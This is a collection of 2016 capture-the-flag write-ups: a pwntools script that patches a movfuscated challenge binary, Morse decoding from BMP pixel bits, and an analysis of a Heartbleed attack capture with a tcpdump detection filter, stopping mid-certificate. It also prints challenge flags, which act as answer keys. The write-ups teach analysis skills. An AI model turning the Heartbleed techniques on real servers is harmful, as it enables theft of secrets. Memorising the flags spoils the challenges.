├── BreizhCTF-2016 └── reverse │ └── such_movs_amazing │ ├── README.md │ ├── bin │ ├── such_movs_amazing │ └── such_movs_amazing-37adbfb237ce12a97f5ecd065a33c7c81fb6bde7caa87ae268aae73d4e3f4316 │ └── pwn-such-movs-amazing.py ├── README.md ├── inshack-ctf-2016 └── 250_morser │ ├── Readme.md │ └── morser.bmp ├── insomnihack-ctf-2016 ├── crypto │ └── pcapbleeding │ │ └── README.md ├── misc │ ├── Robots │ │ └── README.md │ └── Smartcat3 │ │ └── README.md └── network │ └── Smartips │ ├── README.md │ └── smartips_capture.png ├── internetwache-ctf-2016 └── crypto │ └── oh-bob-60 │ └── README.md └── nuit-du-hack-ctf-quals-2016 ├── crackme ├── Matriochka1 │ └── README.md ├── Matriochka2 │ └── README.md ├── Matriochka3 │ ├── README.md │ └── bf.c └── Matriochka4 │ └── README.md ├── forensic ├── Invest │ ├── README.md │ ├── salted.png │ ├── scheme.jpeg │ └── word_flag.png ├── Trololo │ ├── O.out │ ├── README.md │ ├── config.enc │ └── trololo.pcap ├── WhoAmI │ ├── Alarm.apk │ ├── Alarm_apk_source │ └── README.md └── catch-me-if-you-can │ ├── README.md │ └── usb.pcap └── webapp └── facesec2 └── README.md /BreizhCTF-2016/reverse/such_movs_amazing/README.md: -------------------------------------------------------------------------------- 1 | # BreizhCTF 2016 - Such Movs Amazing 2 | **Category:** Reverse | 3 | **Points:** 350 | 4 | **Solves:** 0 | 5 | **Description:** 6 | 7 | > _Description is missing, feel free to send a pull request_ 8 | 9 | 10 | ``` 11 | ____ _ _ ____ _ _ __ __ _____ ______ _ 12 | / ___|| | | |/ ___| | | | | \/ |/ _ \ \ / / ___| | | 13 | \___ \| | | | | | |_| | | |\/| | | | \ \ / /\___ \ | | 14 | ___) | |_| | |___| _ | | | | | |_| |\ V / ___) | |_| 15 | |____/ \___/ \____|_| |_| |_| |_|\___/ \_/ |____/ (_) 16 | ` 17 | :, 18 | ` `:,` 19 | :::, ::,` 20 | `;;;:, .;:,` 21 | ,'';::. ;;:,` 22 | ;';::::. :;;:,` 23 | '';;;:;:. .;;;:,. 24 | ;;;;;;:;:, .,::;;;:, 25 | ;;;';;;;;:,,,,::::::::::,,:;, 26 | ;;'''';;';;;::::::::::::,,,,:` 27 | ;;;++';;;';;::,,::::::::,,,,,,` 28 | ;;;++';;;'':::::::::::::,,,,,,,,` 29 | ,;;'+#;;;;::::::::::::;:,,..,,,,,,` 30 | .;:;++#;;::::::::::::::;:,...,,,,,.` 31 | .';;;++':::::::::,,,:::;:,,,,,,,....` 32 | .:';;;;::::::::::,,,,:::::,,,.,'#@@@@ 33 | .;;;;::,,,::::::,,,,,,::'+@@@@@@@@@@@. 34 | `';;;:,,,::::::,,,;+@@@@@@,'+ @@@@@@, 35 | '';:,,,,,:;+@@@@@@@@@@@@@ .:@ +@@@',` 36 | ';:,;+@@@@@@:@@@@@@@@@,,@@@ @'@@@@``. 37 | #@@@@@@#@@ ;+ #@@@@@@@@,,.:@@@@#;..``. 38 | #+;:,,:,@@+; @ :'@@@@@:,,,..,,,,,,.```` 39 | @@;:::,,,,,@#@@ @+ @@@#::,,,...,,..,.```. 40 | ,::,,,,,,.:@@;@@@@@@;::,,,.,,,,,..````` 41 | ::,,,,,,,,..@':,,,:,,,,,,..,,:;;;:.```` 42 | :,,,,,,.,.....,,,:,,,,,,,..,;++++++.`..` 43 | :,,,,........,,,....,,,,...,+##@###,`..` 44 | ,:,,,,..............,,,,...,+#@###',...` 45 | .::,,,,,,....,.......,,,,,.,'#####+:...` 46 | .::,,,,,,,.......,,..,,,,,,,;'####':,... 47 | ::,,,,,,,,,,.,,,,,,.,,,,,:,:'++#+';,..` 48 | :::,,,,,,,,,,,,,,,,,,,,,,,:;'++''';,..` 49 | :::,,,,,,,,,,,,,,,,:::,::::;'+#@#+:,..` 50 | `:,,,,..,,,,,,,,,,,:;;:::::+###++',...` 51 | ::,,,,,,,,,,,,,,,,:;'+++'#+++++':.... 52 | ,:,,,,,,,,,,,,,,,,,:;;''++''''':,.... 53 | :::,,,,,,,,,,,,,,,,::;;:;::;;;,,.... 54 | ::::,,,,,,,,,,,,,,,,,,:::,:,:,,,...` 55 | .::::,,,,,,,,,,,::,:,:,,,,,,,,,,... 56 | ::,:,,,,,,,,,,:,:,:,,,,,,,,,,,,` 57 | ::,,,,:,,,,,,::::::,,,,,,,,,,, 58 | ,,,,,,,:,:,::::::,:,,,,,,,,. 59 | .,:,,,,:::::::::,:,,,,,,,. 60 | .,,,,:::::::::::,::::, 61 | `.,,,:::::::::::::` 62 | `.,,::::::,` 63 | ____ ___ __ _____ __ _ 64 | / ___| / _ \ \ \/ ( _ ) / /_ | | 65 | \___ \| | | | \ // _ \| '_ \ | | 66 | ___) | |_| | / \ (_) | (_) | |_| 67 | |____/ \___/ /_/\_\___/ \___/ (_) 68 | _ __ __ _ ________ _ _ ____ _ 69 | / \ | \/ | / \ |__ /_ _| \ | |/ ___| | | 70 | / _ \ | |\/| | / _ \ / / | || \| | | _ | | 71 | / ___ \| | | |/ ___ \ / /_ | || |\ | |_| | |_| 72 | /_/ \_\_| |_/_/ \_\/____|___|_| \_|\____| (_) 73 | ``` 74 | 75 | ## Recon 76 | For this challenge, we're given a 12MiB binary. 77 | 78 | Launching *such_movs_amazing* reveals some kind of hidden computation: 79 | 80 | ```bash 81 | [pix:such_movs_amazing] % ./such_movs_amazing 82 | [......8<......snip......8<......] 83 | a[0] = '0x** | (Encrypted value hidden due to security reasons)' 84 | b[0] = '0x44' 85 | c[0] = '0x44' 86 | a[1] = '0x** | (Encrypted value hidden due to security reasons)' 87 | b[1] = '0x73' 88 | c[1] = '0xcc' 89 | a[2] = '0x** | (Encrypted value hidden due to security reasons)' 90 | b[2] = '0x78' 91 | c[2] = '0x86' 92 | a[3] = '0x** | (Encrypted value hidden due to security reasons)' 93 | b[3] = '0x7e' 94 | c[3] = '0xe' 95 | ``` 96 | 97 | A quick look using objdump is going to reveal the horrendous truth: 98 | ```ObjDump 99 | [pix:such_movs_amazing] % gdb -batch -ex 'file ./bin/such_movs_amazing' -ex 'disassemble main' 100 | Dump of assembler code for function main: 101 | 0x0804cdb5 <+0>: mov 0x8413b58,%eax 102 | 0x0804cdba <+5>: mov $0x8804cdb5,%edx 103 | 0x0804cdbf <+10>: mov %eax,0x82139e0 104 | 0x0804cdc4 <+15>: mov %edx,0x82139e4 105 | 0x0804cdca <+21>: mov $0x0,%eax 106 | 0x0804cdcf <+26>: mov $0x0,%ecx 107 | 0x0804cdd4 <+31>: mov $0x0,%edx 108 | 0x0804cdd9 <+36>: mov 0x82139e0,%al 109 | 0x0804cdde <+41>: mov 0x806dff0(,%eax,4),%ecx 110 | 0x0804cde5 <+48>: mov 0x82139e4,%dl 111 | [......8<......snip......8<......] 112 | ``` 113 | 114 | The source code has been compiled using the excelent [movfuscator](https://github.com/xoreaxeaxeax/movfuscator) compiler. Reversing this kind of assembly is going to be a nightmare. 115 | 116 | ```ObjDump 117 | [pix:such_movs_amazing] % objdump -Mintel -d bin/such_movs_amazing | grep '<.*>:' 118 | 08048210 : 119 | 08048220 : 120 | 08048230 : 121 | 08048240 : 122 | 08048250 : 123 | 08048260 : 124 | 08048270 : 125 | 0804827c <_start>: 126 | 080482f7 <_start0>: 127 | 080487a4 : 128 | 080495bb : 129 | 0804aa7a : 130 | 0804cdb5
: 131 | ``` 132 | 133 | This is interesting ! We have two functions, `silent__cipher` and `verbose_cipher`. What happens if we patch `such_movs_amazing` to use the later ? 134 | 135 | 136 | ## Pwntools 137 | 138 | After a small look at objdump output we can grasp the following informations: 139 | 140 | ```ObjDump 141 | [pix:such_movs_amazing] % objdump -Mintel -d ./bin/such_movs_amazing | egrep --color -C1 '<.*>:|80487a4|80493d2|80495bb' 142 | -- 143 | 080487a4 : 144 | 80487a4: a1 58 3b 41 08 mov eax,ds:0x8413b58 145 | 80487a9: ba a4 87 04 88 mov edx,0x880487a4 146 | 80487ae: a3 e0 39 21 08 mov ds:0x82139e0,eax 147 | -- 148 | 080495bb : 149 | 80495bb: a1 58 3b 41 08 mov eax,ds:0x8413b58 150 | 80495c0: ba bb 95 04 88 mov edx,0x880495bb 151 | 80495c5: a3 e0 39 21 08 mov ds:0x82139e0,eax 152 | -- 153 | 8049d38: 89 10 mov DWORD PTR [eax],edx 154 | 8049d3a: b8 a4 87 04 88 mov eax,0x880487a4 155 | 8049d3f: a3 f0 3a 21 08 mov ds:0x8213af0,eax 156 | -- 157 | 0804aa7a : 158 | 804aa7a: a1 58 3b 41 08 mov eax,ds:0x8413b58 159 | -- 160 | 804b534: 89 10 mov DWORD PTR [eax],edx 161 | 804b536: b8 a4 87 04 88 mov eax,0x880487a4 162 | 804b53b: a3 f0 3a 21 08 mov ds:0x8213af0,eax 163 | -- 164 | 0804cdb5
: 165 | 804cdb5: a1 58 3b 41 08 mov eax,ds:0x8413b58 166 | -- 167 | 8053f0e: 89 10 mov DWORD PTR [eax],edx 168 | 8053f10: b8 a4 87 04 88 mov eax,0x880487a4 169 | 8053f15: a3 f0 3a 21 08 mov ds:0x8213af0,eax 170 | -- 171 | 80542e1: 89 10 mov DWORD PTR [eax],edx 172 | 80542e3: b8 a4 87 04 88 mov eax,0x880487a4 173 | 80542e8: a3 f0 3a 21 08 mov ds:0x8213af0,eax 174 | -- 175 | 80546b4: 89 10 mov DWORD PTR [eax],edx 176 | 80546b6: b8 a4 87 04 88 mov eax,0x880487a4 177 | 80546bb: a3 f0 3a 21 08 mov ds:0x8213af0,eax 178 | -- 179 | 805ac53: 89 10 mov DWORD PTR [eax],edx 180 | 805ac55: b8 a4 87 04 88 mov eax,0x880487a4 181 | 805ac5a: a3 f0 3a 21 08 mov ds:0x8213af0,eax 182 | -- 183 | 805b026: 89 10 mov DWORD PTR [eax],edx 184 | 805b028: b8 a4 87 04 88 mov eax,0x880487a4 185 | 805b02d: a3 f0 3a 21 08 mov ds:0x8213af0,eax 186 | -- 187 | 805b3f9: 89 10 mov DWORD PTR [eax],edx 188 | 805b3fb: b8 a4 87 04 88 mov eax,0x880487a4 189 | 805b400: a3 f0 3a 21 08 mov ds:0x8213af0,eax 190 | -- 191 | 806700d: 89 10 mov DWORD PTR [eax],edx 192 | 806700f: b8 a4 87 04 88 mov eax,0x880487a4 193 | 8067014: a3 f0 3a 21 08 mov ds:0x8213af0,eax 194 | ``` 195 | 196 | It seems that the call to `silent__cipher` is controlled by this instruction: `mov eax,0x880487a4`. Can we patch it ? Let's patch it ! 197 | 198 | ```Python 199 | from pwn import * 200 | import operator 201 | import pprint 202 | 203 | # Use this before reading: https://en.wikipedia.org/wiki/Eye_drop 204 | 205 | context(arch='i386',os='linux') 206 | 207 | pp = pprint.PrettyPrinter(indent=2) 208 | 209 | def find_where(elf, _addr): 210 | start = None 211 | start_func = None 212 | offsets = sorted({v: k for k, v in elf.symbols.items()}.items(), key=operator.itemgetter(0)) 213 | for addr, func in offsets: 214 | if start is not None and addr > _addr: 215 | return start_func 216 | else: 217 | if start < addr: 218 | start = addr 219 | start_func = func 220 | 221 | 222 | log.info("Opening ./bin/such_movs_amazing") 223 | elf = ELF("./bin/such_movs_amazing") 224 | 225 | log.info("Load addr: 0x%x" % elf.load_addr) 226 | 227 | main = elf.symbols['main'] 228 | verbose_cipher = elf.symbols['verbose_cipher'] 229 | silent__cipher = elf.symbols['silent__cipher'] 230 | 231 | log.info("main: 0x%x" % main) 232 | log.info("verbose_cipher: 0x%x" % verbose_cipher) 233 | log.info("silent__cipher: 0x%x" % silent__cipher) 234 | 235 | offset = 0x80000000 236 | 237 | for i in elf.search(p32(offset + silent__cipher)): 238 | where = find_where(elf, i) 239 | log.info("Found ref to silent__cipher in %s" % where) 240 | if where == 'main': 241 | elf.write(i, p32(offset + verbose_cipher)) 242 | log.success("Patching %s to use verbose_cipher" % where) 243 | 244 | log.success("Writing such_movs_amazing.new") 245 | elf.save("./bin/such_movs_amazing.patched") 246 | ``` 247 | 248 | ```Java 249 | [pix:such_movs_amazing] % python pwn-such-movs-amazing.py 250 | [*] Opening ./bin/such_movs_amazing 251 | [*] Load addr: 0x8048000 252 | [*] main: 0x804cdb5 253 | [*] verbose_cipher: 0x80495bb 254 | [*] silent__cipher: 0x80487a4 255 | [*] search: 0x880487a4 256 | [*] Found ref to silent__cipher in silent__cipher 257 | [*] Found ref to silent__cipher in verbose_cipher 258 | [*] Found ref to silent__cipher in verify_cipher_is_sane_before 259 | [*] Found ref to silent__cipher in main 260 | [+] Patching to use verbose_cipher 261 | [*] Found ref to silent__cipher in main 262 | [+] Patching to use verbose_cipher 263 | [*] Found ref to silent__cipher in main 264 | [+] Patching to use verbose_cipher 265 | [*] Found ref to silent__cipher in main 266 | [+] Patching to use verbose_cipher 267 | [*] Found ref to silent__cipher in main 268 | [+] Patching to use verbose_cipher 269 | [*] Found ref to silent__cipher in main 270 | [+] Patching to use verbose_cipher 271 | [*] Found ref to silent__cipher in main 272 | [+] Patching to use verbose_cipher 273 | [+] Writing such_movs_amazing.new 274 | ``` 275 | 276 | Now it's time to run our patched binary ! 277 | 278 | ```Bash 279 | [pix:such_movs_amazing] % ./bin/such_movs_amazing.patched 280 | CIPHER DBG: [20:13] -> 33 | [' ', ''] -> '3' 281 | CIPHER DBG: [33:37] -> 04 | ['3', '7'] -> '' 282 | CIPHER DBG: [04:42] -> 46 | ['', 'B'] -> 'F' 283 | a[0] = '0x** | (Encrypted value hidden due to security reasons)' 284 | CIPHER DBG: [22:13] -> 31 | ['"', ''] -> '1' 285 | CIPHER DBG: [31:37] -> 06 | ['1', '7'] -> '' 286 | CIPHER DBG: [06:42] -> 44 | ['', 'B'] -> 'D' 287 | b[0] = '0x44' 288 | CIPHER DBG: [22:13] -> 31 | ['"', ''] -> '1' 289 | CIPHER DBG: [31:37] -> 06 | ['1', '7'] -> '' 290 | CIPHER DBG: [06:42] -> 44 | ['', 'B'] -> 'D' 291 | c[0] = '0x44' 292 | CIPHER DBG: [20:13] -> 33 | [' ', ''] -> '3' 293 | CIPHER DBG: [33:37] -> 04 | ['3', '7'] -> '' 294 | CIPHER DBG: [04:42] -> 46 | ['', 'B'] -> 'F' 295 | a[1] = '0x** | (Encrypted value hidden due to security reasons)' 296 | CIPHER DBG: [15:13] -> 06 | ['', ''] -> '' 297 | CIPHER DBG: [06:37] -> 31 | ['', '7'] -> '1' 298 | CIPHER DBG: [31:42] -> 73 | ['1', 'B'] -> 's' 299 | b[1] = '0x73' 300 | CIPHER DBG: [aa:13] -> b9 | ['�', ''] -> '�' 301 | CIPHER DBG: [b9:37] -> 8e | ['�', '7'] -> '�' 302 | CIPHER DBG: [8e:42] -> cc | ['�', 'B'] -> '�' 303 | c[1] = '0xcc' 304 | CIPHER DBG: [20:13] -> 33 | [' ', ''] -> '3' 305 | CIPHER DBG: [33:37] -> 04 | ['3', '7'] -> '' 306 | CIPHER DBG: [04:42] -> 46 | ['', 'B'] -> 'F' 307 | a[2] = '0x** | (Encrypted value hidden due to security reasons)' 308 | ``` 309 | 310 | Foccusing on a[x] calculations: 311 | 312 | ```Bash 313 | [pix:such_movs_amazing] % ./bin/such_movs_amazing.patched |grep -a -B3 "0x\*\*" 314 | CIPHER DBG: [42:13] -> 51 | ['B', ''] -> 'Q' 315 | CIPHER DBG: [51:37] -> 66 | ['Q', '7'] -> 'f' 316 | CIPHER DBG: [66:42] -> 24 | ['f', 'B'] -> '$' 317 | a[3] = '0x** | (Encrypted value hidden due to security reasons)' 318 | -- 319 | CIPHER DBG: [5a:13] -> 49 | ['Z', ''] -> 'I' 320 | CIPHER DBG: [49:37] -> 7e | ['I', '7'] -> '~' 321 | CIPHER DBG: [7e:42] -> 3c | ['~', 'B'] -> '<' 322 | a[4] = '0x** | (Encrypted value hidden due to security reasons)' 323 | -- 324 | CIPHER DBG: [48:13] -> 5b | ['H', ''] -> '[' 325 | CIPHER DBG: [5b:37] -> 6c | ['[', '7'] -> 'l' 326 | CIPHER DBG: [6c:42] -> 2e | ['l', 'B'] -> '.' 327 | a[5] = '0x** | (Encrypted value hidden due to security reasons)' 328 | -- 329 | CIPHER DBG: [43:13] -> 50 | ['C', ''] -> 'P' 330 | CIPHER DBG: [50:37] -> 67 | ['P', '7'] -> 'g' 331 | CIPHER DBG: [67:42] -> 25 | ['g', 'B'] -> '%' 332 | a[6] = '0x** | (Encrypted value hidden due to security reasons)' 333 | -- 334 | CIPHER DBG: [54:13] -> 47 | ['T', ''] -> 'G' 335 | CIPHER DBG: [47:37] -> 70 | ['G', '7'] -> 'p' 336 | CIPHER DBG: [70:42] -> 32 | ['p', 'B'] -> '2' 337 | a[7] = '0x** | (Encrypted value hidden due to security reasons)' 338 | -- 339 | CIPHER DBG: [46:13] -> 55 | ['F', ''] -> 'U' 340 | CIPHER DBG: [55:37] -> 62 | ['U', '7'] -> 'b' 341 | CIPHER DBG: [62:42] -> 20 | ['b', 'B'] -> ' ' 342 | a[8] = '0x** | (Encrypted value hidden due to security reasons)' 343 | ``` 344 | 345 | This looks like advanced Triple-XOR (c)(r)(tm), and you can spot BZHCTF ! 346 | 347 | ```Bash 348 | [pix:such_movs_amazing] % ./bin/such_movs_amazing.patched |grep -a -B3 "0x\*\*" |grep ':13\]' |cut -d"'" -f2 |sed -e :a -e 'N;s/\n//;ba' 349 | BZHCTF{I_ike_t0_m0v_it_m0v_it_!} 350 | ``` 351 | 352 | Nice typo :-) 353 | 354 | By [@PiX](https://twitter.com/pix) 355 | -------------------------------------------------------------------------------- /BreizhCTF-2016/reverse/such_movs_amazing/bin/such_movs_amazing: -------------------------------------------------------------------------------- 1 | such_movs_amazing-37adbfb237ce12a97f5ecd065a33c7c81fb6bde7caa87ae268aae73d4e3f4316 -------------------------------------------------------------------------------- /BreizhCTF-2016/reverse/such_movs_amazing/bin/such_movs_amazing-37adbfb237ce12a97f5ecd065a33c7c81fb6bde7caa87ae268aae73d4e3f4316: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/BreizhCTF-2016/reverse/such_movs_amazing/bin/such_movs_amazing-37adbfb237ce12a97f5ecd065a33c7c81fb6bde7caa87ae268aae73d4e3f4316 -------------------------------------------------------------------------------- /BreizhCTF-2016/reverse/such_movs_amazing/pwn-such-movs-amazing.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import operator 3 | import pprint 4 | 5 | # Use this before reading: https://en.wikipedia.org/wiki/Eye_drop 6 | 7 | context(arch='i386',os='linux') 8 | 9 | pp = pprint.PrettyPrinter(indent=2) 10 | 11 | def find_where(elf, _addr): 12 | start = None 13 | start_func = None 14 | offsets = sorted({v: k for k, v in elf.symbols.items()}.items(), key=operator.itemgetter(0)) 15 | for addr, func in offsets: 16 | if start is not None and addr > _addr: 17 | return start_func 18 | else: 19 | if start < addr: 20 | start = addr 21 | start_func = func 22 | 23 | 24 | log.info("Opening ./bin/such_movs_amazing") 25 | elf = ELF("./bin/such_movs_amazing") 26 | 27 | log.info("Load addr: 0x%x" % elf.load_addr) 28 | 29 | main = elf.symbols['main'] 30 | verbose_cipher = elf.symbols['verbose_cipher'] 31 | silent__cipher = elf.symbols['silent__cipher'] 32 | 33 | log.info("main: 0x%x" % main) 34 | log.info("verbose_cipher: 0x%x" % verbose_cipher) 35 | log.info("silent__cipher: 0x%x" % silent__cipher) 36 | 37 | offset = 0x80000000 38 | 39 | for i in elf.search(p32(offset + silent__cipher)): 40 | where = find_where(elf, i) 41 | log.info("Found ref to silent__cipher in %s" % where) 42 | if where == 'main': 43 | elf.write(i, p32(offset + verbose_cipher)) 44 | log.success("Patching %s to use verbose_cipher" % where) 45 | 46 | log.success("Writing such_movs_amazing.new") 47 | elf.save("./bin/such_movs_amazing.patched") 48 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WU-2016 2 | Writeups for CTF that took place in 2016. 3 | -------------------------------------------------------------------------------- /inshack-ctf-2016/250_morser/Readme.md: -------------------------------------------------------------------------------- 1 | # 250_Morser 2 | Le challenge consiste à analyser une image. 3 | Il est indiqué que le flag serait une suite de caractères qui ne commencerait pas par la chaine FLAG{ etc... 4 | 5 | ## Découverte: 6 | ``` 7 | mitsurugi@mitsu:~/chall/inshack$ file morser_files 8 | morser_files: PC bitmap, Windows 98/2000 and newer format, 640 x 480 x 16 9 | mitsurugi@mitsu:~/chall/inshack$ mv morser_files morser.bmp 10 | mitsurugi@mitsu:~/chall/inshack$ identify morser.bmp 11 | morser.bmp BMP 640x480 640x480+0+0 8-bit sRGB 615KB 0.000u 0:00.000 12 | mitsurugi@mitsu:~/chall/inshack$ ls -l morser.bmp 13 | -rw-r--r-- 1 mitsurugi mitsurugi 614538 avril 7 21:41 morser.bmp 14 | mitsurugi@mitsu:~/chall/inshack$ 15 | ``` 16 | 17 | Une image BMP, 8 Bpp. 18 | 19 | L'ouverture de l'image nous montre que ça parle de morse, et un artefact en bas à droite nous amène immédiatement à tester le LSB. 20 | 21 | ## analyse 22 | De manière étrange, PIL sous python refuse de m'ouvrir l'image. Un tour sur wikipedia (https://fr.wikipedia.org/wiki/Windows_bitmap) nous décrit l'entête BMP, et nous dit que l'adresse de départ du contenu du BMP est donnée à l'offset 0x000A. 23 | Dans notre cas, les données utiles démarrent à 138. 24 | 25 | Nous écrivons un premier script pour voir à quoi ressemblent les premiers octets: le fichier BMP se remplit par le bas, l'artefact est donc sur la première ligne: 26 | 27 | ```python 28 | #! /usr/bin/python 29 | 30 | i=open("morser.bmp","ro") 31 | image=i.read() 32 | i.close() 33 | 34 | juicy=image[138:138+480] 35 | 36 | out=[] 37 | for i in range(len(juicy)): 38 | out.append(str(ord(juicy[i]))) 39 | if (i+1)%16==0: 40 | out.append('\n') 41 | 42 | print ''.join(out) 43 | ``` 44 | 45 | Output : 46 | 47 | ``` 48 | mitsurugi@mitsu:~/chall/inshack$ ./img.py 49 | 3310003330003330 50 | 0031100000000013 51 | 3300333000311100 52 | 3311330000003133 53 | 0033300011300013 54 | 3331111300100000 55 | 0000001131003330 56 | 0011300031000031 57 | 1000000000300000 58 | 1111001000000000 59 | 0011310013110013 60 | 0000331000000000 61 | 3331110000001311 62 | 0011111031110011 63 | 3313111130310000 64 | 3110001133133300 65 | 0033333013100011 66 | 1110111330113313 67 | 1111301310001113 68 | 3011331311310011 69 | 3000310000310000 70 | 3133000000000000 71 | 0000000000000000 72 | 0000000000000000 73 | 0000000000000000 74 | 0000000000000000 75 | 0000000000000000 76 | 0000000000000000 77 | 0000000000000000 78 | 0000000000000000 79 | 80 | mitsurugi@mitsu:~/chall/inshack$ 81 | ``` 82 | 83 | Uniquement 3 types de caractères. 84 | Et écrire du morse demande 3 types de caractères: le trait, le point et la séparation. 85 | 86 | Le 0 semble bien pour correspondre à la séparation, on teste le 1 pour point et 3 pour tiret: 87 | ``` 88 | for i in range(len(juicy)): 89 | out.append(" .Y-"[ord(juicy[i])]) 90 | ``` 91 | 92 | Et on relance: 93 | 94 | ``` 95 | mitsurugi@mitsu:~/chall/inshack$ ./img.py 96 | --. --- --- 97 | -.. .- 98 | -- --- -... 99 | --..-- -.-- 100 | --- ..- .- 101 | ---....- . 102 | ..-. --- 103 | ..- -. -. 104 | . - 105 | .... . 106 | ..-. .-.. .- 107 | --. 108 | ---... .-.. 109 | ..... -... .. 110 | --.-....- -. 111 | -.. ..--.--- 112 | ----- .-. .. 113 | ... ...-- ..--.- 114 | ....- .-. ...- 115 | - ..--.-..-. .. 116 | - -. -. 117 | -.-- 118 | ``` 119 | c'est beaucoup mieux, mais certaines séries de traits et points sont beaucoup trop longues: 120 | `--.-....-` 121 | 122 | ## Finalisation 123 | Après quelques réflexions, nous nous rendons compte que les lettres en morse ne font pas plus de 6 symboles, et que les lettres à moins de symboles sont paddées par des 0. 124 | Il suffit d'ajouter des espaces tous les 6 caractères (on en profite pour tout mettre sur une ligne): 125 | 126 | ```python 127 | for i in range(len(juicy)): 128 | out.append(" .Y-"[ord(juicy[i])]) 129 | if (i+1)%6==0: 130 | out.append(' ') 131 | ``` 132 | 133 | ``` 134 | mitsurugi@mitsu:~/chall/inshack$ ./img.py 135 | --. --- --- -.. .--- --- -... --..-- -.-- --- ..- .----. ...- . ..-. --- ..- -. -.. - .... . ..-. .-.. .- --. ---... .-.. ..... -... ..--.- ....- -. -.. ..--.- -- ----- .-. ..... ...-- ..--.- ....- .-. ...-- ..--.- ..-. ..- -. -. -.-- 136 | ``` 137 | 138 | Résolution: 139 | ``` 140 | mitsurugi@mitsu:~/chall/inshack$ ./img.py | morse -d 141 | G O O D J O B , Y O U 'V E F O U N D T H E F L A G : L 5B x4N D xM 0R 53x4R 3xF U N N Y 142 | ``` 143 | Il y a des espaces en trop, mais nous comprenons le message :) 144 | Le 'x' minuscule nous indique qu'une lettre n'est pas décodée, avec l'image sous les yeux et le morse, nous voyons qu'il s'agit 145 | du ..--.- qui correspond à underscore _ 146 | 147 | Le flag pour valider est donc: 148 | ``` 149 | L5B_4ND_M0R53_4R3_FUNNY 150 | ``` 151 | -------------------------------------------------------------------------------- /inshack-ctf-2016/250_morser/morser.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/inshack-ctf-2016/250_morser/morser.bmp -------------------------------------------------------------------------------- /insomnihack-ctf-2016/crypto/pcapbleeding/README.md: -------------------------------------------------------------------------------- 1 | #Insomni'hack CTF 2016 : PCAPBleeding 2 | 3 | **Category:** Crypto | 4 | **Points:** ?? | 5 | **Solves:** ?? | 6 | **Description:** 7 | 8 | > PCAPBleeding
9 | > Author : julien - Difficulty : medium
10 | > Finally, somebody has read our 2014 log files. We think an attack occurred on our HTTPS server but we don't know if they succeed in stealing valuable information. Some confidential data pass through this SSL channels so we hope it's not broken :~
11 | > The flag format is INS={some random string here}. 12 | 13 | --- 14 | 15 | ##Write-up 16 | 17 | This challenge was quite easy. 18 | We were given 3 files : 19 | 20 | ```bash 21 | >>> file * 22 | attack_log.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144) 23 | hb_scrt_ch.crt: PEM certificate 24 | pcap_flag.pcapng: pcap-ng capture file - version 1.0 25 | ``` 26 | 27 | We can see that the frame number 18 is a `Heartbeat Request[Malformed Packet]` : 28 | 29 | ```bash 30 | >>> tshark -r attack_log.pcap -Y frame.number==18 31 | 18 0.044628 192.168.105.1 -> 192.168.105.160 TLSv1 74 Heartbeat Request[Malformed Packet] 32 | 33 | >>> tshark -r attack_log.pcap -Y frame.number==18 -x 34 | 0000 00 0c 29 7c 33 4f 00 50 56 c0 00 08 08 00 45 00 ..)|3O.PV.....E. 35 | 0010 00 3c 89 26 40 00 40 06 5d a3 c0 a8 69 01 c0 a8 .<.&@.@.]...i... 36 | 0020 69 a0 9e 7c 01 bb 3c 41 a2 9a 45 f7 6e 2b 80 18 i..|..>> tcpdump -r attack_log.pcap 'tcp src port 443 and (((ip and tcp[((tcp[12] & 0xF0) >> 4 ) * 4] = 0x18) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 1] = 0x03) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 2] < 0x04) and ((ip[2:2] - 4 * (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0) >> 4) > 69)) ) or ( (ip6 and ip6[6]=6 and (ip6[40 + ((ip6[40+12] & 0xF0) >> 4) * 4 + 0] = 0x18) and (ip6[40 + ((ip6[40+12] & 0xF0) >> 4) * 4 + 1] = 0x03) and (ip6[40 + ((ip6[40+12] & 0xF0) >> 4) * 4 + 2] > 0x04) and ((ip6[4:2] - 4*( (ip6[40+12] & 0xF0) >> 4) ) > 69))))' 45 | reading from file attack_log.pcap, link-type EN10MB (Ethernet) 46 | 16:38:13.785570 IP 192.168.105.160.https > 192.168.105.1.40572: Flags [.], seq 1173843499:1173844947, ack 1010934434, win 235, options [nop,nop,TS val 429596 ecr 7612642], length 1448 47 | 16:38:13.785821 IP 192.168.105.160.https > 192.168.105.1.40572: Flags [.], seq 16389:17837, ack 1, win 235, options [nop,nop,TS val 429596 ecr 7612642], length 1448 48 | 16:38:13.786029 IP 192.168.105.160.https > 192.168.105.1.40572: Flags [.], seq 32778:34226, ack 1, win 235, options [nop,nop,TS val 429596 ecr 7612642], length 1448 49 | 16:38:13.786210 IP 192.168.105.160.https > 192.168.105.1.40572: Flags [.], seq 49167:50615, ack 1, win 235, options [nop,nop,TS val 429596 ecr 7612642], length 1448 50 | ``` 51 | 52 | Well, the attack as been performed. 53 | What to do now ? My first thought was to pick up the public exponent and the modulus, by doing this : 54 | 55 | ```bash 56 | >>> openssl x509 -in hb_scrt_ch.crt -noout -text -modulus 57 | Certificate: 58 | Data: 59 | Version: 3 (0x2) 60 | Serial Number: 61 | e2:07:be:1e:41:2d:e5:b9 62 | Signature Algorithm: sha256WithRSAEncryption 63 | Issuer: CN=hb.scrt.ch 64 | Validity 65 | Not Before: Feb 18 15:23:21 2016 GMT 66 | Not After : Feb 15 15:23:21 2026 GMT 67 | Subject: CN=hb.scrt.ch 68 | Subject Public Key Info: 69 | Public Key Algorithm: rsaEncryption 70 | Public-Key: (2048 bit) 71 | Modulus: 72 | 00:bf:68:3e:d2:cc:8c:1f:25:9b:bf:64:28:90:4c: 73 | d5:c3:2a:e9:74:e9:bb:1b:52:e3:9a:31:45:19:23: 74 | b4:db:bd:95:02:e3:4f:ec:0a:04:41:da:9c:c8:eb: 75 | db:29:70:ee:9f:94:5d:4b:01:f1:97:1e:a3:51:2f: 76 | 63:c3:7f:69:6c:68:bd:34:f5:52:d9:f2:a9:2f:a0: 77 | 